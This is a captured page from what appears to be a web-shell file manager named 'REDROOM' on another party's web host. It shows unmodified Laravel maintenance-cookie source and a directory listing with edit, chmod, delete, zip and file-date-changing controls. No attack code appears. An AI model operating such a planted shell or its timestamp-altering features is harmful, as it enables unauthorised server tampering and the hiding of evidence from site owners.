REDROOM
PHP 8.3.31
Path:
Logout
Edit File
Size: 1.30 KB
Close
/home/getspomw/royalsquad.us/vendor/laravel/framework/src/Illuminate/Foundation/Http/MaintenanceModeBypassCookie.php
Text
Base64
<?php namespace Illuminate\Foundation\Http; use Illuminate\Support\Carbon; use Symfony\Component\HttpFoundation\Cookie; class MaintenanceModeBypassCookie { /** * Create a new maintenance mode bypass cookie. * * @param string $key * @return \Symfony\Component\HttpFoundation\Cookie */ public static function create(string $key) { $expiresAt = Carbon::now()->addHours(12); return new Cookie('laravel_maintenance', base64_encode(json_encode([ 'expires_at' => $expiresAt->getTimestamp(), 'mac' => hash_hmac('sha256', $expiresAt->getTimestamp(), $key), ])), $expiresAt, config('session.path'), config('session.domain')); } /** * Determine if the given maintenance mode bypass cookie is valid. * * @param string $cookie * @param string $key * @return bool */ public static function isValid(string $cookie, string $key) { $payload = json_decode(base64_decode($cookie), true); return is_array($payload) && is_numeric($payload['expires_at'] ?? null) && isset($payload['mac']) && hash_equals(hash_hmac('sha256', $payload['expires_at'], $key), $payload['mac']) && (int) $payload['expires_at'] >= Carbon::now()->getTimestamp(); } }
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 2 × Files: 4
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
Events
DIR
-
drwxrwxrwx
2025-09-17 06:52:56
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Middleware
DIR
-
drwxrwxrwx
2025-09-17 06:52:56
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
FormRequest.php
7.19 KB
lrw-rw-rw-
2025-09-17 06:52:56
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
HtmlDumper.php
3.58 KB
lrw-rw-rw-
2025-09-17 06:52:56
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Kernel.php
18.27 KB
lrw-rw-rw-
2025-09-17 06:52:56
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
MaintenanceModeBypassCookie.php
1.30 KB
lrw-rw-rw-
2025-09-17 06:52:56
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).